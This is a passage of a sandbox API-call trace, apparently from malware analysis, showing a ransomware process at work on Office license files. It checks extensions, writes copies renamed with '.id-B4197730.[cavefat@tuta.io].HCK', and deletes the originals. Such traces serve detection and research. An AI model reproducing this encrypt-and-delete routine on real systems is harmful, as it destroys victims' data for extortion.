lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0241.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0241.023] lstrlenW (lpString=".doc") returned 4 [0241.023] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.023] lstrlenW (lpString=".docx") returned 5 [0241.024] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.024] lstrlenW (lpString=".pdf") returned 4 [0241.024] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.024] lstrlenW (lpString=".xls") returned 4 [0241.024] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.024] lstrlenW (lpString=".xlsx") returned 5 [0241.024] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.024] lstrlenW (lpString=".ppt") returned 4 [0241.024] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0241.024] lstrlenW (lpString=".zip") returned 4 [0241.024] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.024] lstrlenW (lpString=".rar") returned 4 [0241.024] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.024] lstrlenW (lpString=".bz2") returned 4 [0241.024] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.024] lstrlenW (lpString=".7z") returned 3 [0241.024] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0241.024] lstrlenW (lpString=".dbf") returned 4 [0241.024] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0241.024] lstrlenW (lpString=".1cd") returned 4 [0241.024] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0241.024] lstrlenW (lpString=".jpg") returned 4 [0241.024] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.024] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0241.024] lstrlenW (lpString="MondoR_KMS_Automation-ppd.xrm-ms") returned 32 [0241.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.025] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=12416) returned 1 [0241.025] CloseHandle (hObject=0x4b8) returned 1 [0241.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 0x220 [0241.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.026] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.026] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0241.027] GetLastError () returned 0x0 [0241.027] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x3080, lpOverlapped=0x0) returned 1 [0241.029] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x3090, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x3090, lpOverlapped=0x0) returned 1 [0241.030] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0241.030] WriteFile (in: hFile=0x548, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x114, lpOverlapped=0x0) returned 1 [0241.030] SetEndOfFile (hFile=0x548) returned 1 [0241.030] CloseHandle (hObject=0x548) returned 1 [0241.030] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.030] SetEndOfFile (hFile=0x4b8) returned 1 [0241.032] CloseHandle (hObject=0x4b8) returned 1 [0241.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms")) returned 1 [0241.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0241.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0241.276] lstrlenW (lpString=".doc") returned 4 [0241.276] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.276] lstrlenW (lpString=".docx") returned 5 [0241.276] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.276] lstrlenW (lpString=".pdf") returned 4 [0241.276] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.276] lstrlenW (lpString=".xls") returned 4 [0241.276] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.276] lstrlenW (lpString=".xlsx") returned 5 [0241.276] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.277] lstrlenW (lpString=".ppt") returned 4 [0241.277] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0241.277] lstrlenW (lpString=".zip") returned 4 [0241.277] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.277] lstrlenW (lpString=".rar") returned 4 [0241.277] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.277] lstrlenW (lpString=".bz2") returned 4 [0241.277] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.277] lstrlenW (lpString=".7z") returned 3 [0241.277] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0241.277] lstrlenW (lpString=".dbf") returned 4 [0241.277] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0241.277] lstrlenW (lpString=".1cd") returned 4 [0241.277] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0241.277] lstrlenW (lpString=".jpg") returned 4 [0241.277] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0241.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0241.277] lstrlenW (lpString=".doc") returned 4 [0241.277] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.277] lstrlenW (lpString=".docx") returned 5 [0241.277] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.277] lstrlenW (lpString=".pdf") returned 4 [0241.277] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.277] lstrlenW (lpString=".xls") returned 4 [0241.277] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.277] lstrlenW (lpString=".xlsx") returned 5 [0241.277] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.277] lstrlenW (lpString=".ppt") returned 4 [0241.277] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0241.277] lstrlenW (lpString=".zip") returned 4 [0241.277] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.277] lstrlenW (lpString=".rar") returned 4 [0241.277] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.277] lstrlenW (lpString=".bz2") returned 4 [0241.277] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.277] lstrlenW (lpString=".7z") returned 3 [0241.277] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0241.278] lstrlenW (lpString=".dbf") returned 4 [0241.278] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0241.278] lstrlenW (lpString=".1cd") returned 4 [0241.278] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms") returned 82 [0241.278] lstrlenW (lpString=".jpg") returned 4 [0241.278] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.278] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0241.278] lstrlenW (lpString="MondoR_Retail-ul-oob.xrm-ms") returned 27 [0241.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.279] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11574) returned 1 [0241.279] CloseHandle (hObject=0x4b8) returned 1 [0241.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 0x220 [0241.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.283] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.283] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0241.284] GetLastError () returned 0x0 [0241.284] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d36, lpOverlapped=0x0) returned 1 [0241.286] WriteFile (in: hFile=0x4b4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d40, lpOverlapped=0x0) returned 1 [0241.286] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0241.286] WriteFile (in: hFile=0x4b4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x10a, lpOverlapped=0x0) returned 1 [0241.287] SetEndOfFile (hFile=0x4b4) returned 1 [0241.287] CloseHandle (hObject=0x4b4) returned 1 [0241.287] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.287] SetEndOfFile (hFile=0x4b8) returned 1 [0241.289] CloseHandle (hObject=0x4b8) returned 1 [0241.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-oob.xrm-ms")) returned 1 [0241.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0241.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0241.291] lstrlenW (lpString=".doc") returned 4 [0241.291] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.291] lstrlenW (lpString=".docx") returned 5 [0241.291] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.291] lstrlenW (lpString=".pdf") returned 4 [0241.291] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.291] lstrlenW (lpString=".xls") returned 4 [0241.291] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.291] lstrlenW (lpString=".xlsx") returned 5 [0241.291] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.291] lstrlenW (lpString=".ppt") returned 4 [0241.291] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0241.291] lstrlenW (lpString=".zip") returned 4 [0241.291] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.291] lstrlenW (lpString=".rar") returned 4 [0241.291] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.291] lstrlenW (lpString=".bz2") returned 4 [0241.292] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.292] lstrlenW (lpString=".7z") returned 3 [0241.292] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0241.292] lstrlenW (lpString=".dbf") returned 4 [0241.292] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0241.292] lstrlenW (lpString=".1cd") returned 4 [0241.292] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0241.292] lstrlenW (lpString=".jpg") returned 4 [0241.292] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0241.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0241.292] lstrlenW (lpString=".doc") returned 4 [0241.292] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.292] lstrlenW (lpString=".docx") returned 5 [0241.292] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.292] lstrlenW (lpString=".pdf") returned 4 [0241.292] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.292] lstrlenW (lpString=".xls") returned 4 [0241.292] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.292] lstrlenW (lpString=".xlsx") returned 5 [0241.292] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.292] lstrlenW (lpString=".ppt") returned 4 [0241.292] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0241.292] lstrlenW (lpString=".zip") returned 4 [0241.292] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.292] lstrlenW (lpString=".rar") returned 4 [0241.292] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.292] lstrlenW (lpString=".bz2") returned 4 [0241.292] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.292] lstrlenW (lpString=".7z") returned 3 [0241.292] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0241.292] lstrlenW (lpString=".dbf") returned 4 [0241.292] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0241.292] lstrlenW (lpString=".1cd") returned 4 [0241.292] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0241.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-oob.xrm-ms") returned 77 [0241.292] lstrlenW (lpString=".jpg") returned 4 [0241.292] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0241.293] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0241.293] lstrlenW (lpString="MondoR_Retail-ul-phn.xrm-ms") returned 27 [0241.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.294] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=19919) returned 1 [0241.294] CloseHandle (hObject=0x4b8) returned 1 [0241.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 0x220 [0241.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0241.295] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.295] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0241.296] GetLastError () returned 0x0 [0241.296] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x4dcf, lpOverlapped=0x0) returned 1 [0241.297] WriteFile (in: hFile=0x4b4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x4dd0, lpOverlapped=0x0) returned 1 [0241.298] ReadFile (in: hFile=0x4b8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0241.298] WriteFile (in: hFile=0x4b4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x10a, lpOverlapped=0x0) returned 1 [0241.298] SetEndOfFile (hFile=0x4b4) returned 1 [0241.298] CloseHandle (hObject=0x4b4) returned 1 [0241.299] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.299] SetEndOfFile (hFile=0x4b8) returned 1 [0241.301] CloseHandle (hObject=0x4b8) returned 1 [0241.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_retail-ul-phn.xrm-ms")) returned 1 [0241.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0241.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0241.302] lstrlenW (lpString=".doc") returned 4 [0241.302] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0241.302] lstrlenW (lpString=".docx") returned 5 [0241.302] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0241.302] lstrlenW (lpString=".pdf") returned 4 [0241.302] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0241.302] lstrlenW (lpString=".xls") returned 4 [0241.302] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0241.302] lstrlenW (lpString=".xlsx") returned 5 [0241.302] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0241.302] lstrlenW (lpString=".ppt") returned 4 [0241.302] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0241.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0241.302] lstrlenW (lpString=".zip") returned 4 [0241.302] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0241.302] lstrlenW (lpString=".rar") returned 4 [0241.302] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0241.302] lstrlenW (lpString=".bz2") returned 4 [0241.302] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0241.302] lstrlenW (lpString=".7z") returned 3 [0241.302] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0241.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0241.302] lstrlenW (lpString=".dbf") returned 4 [0241.302] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0241.302] lstrlenW (lpString="C:\\Program Files\\Microsoft 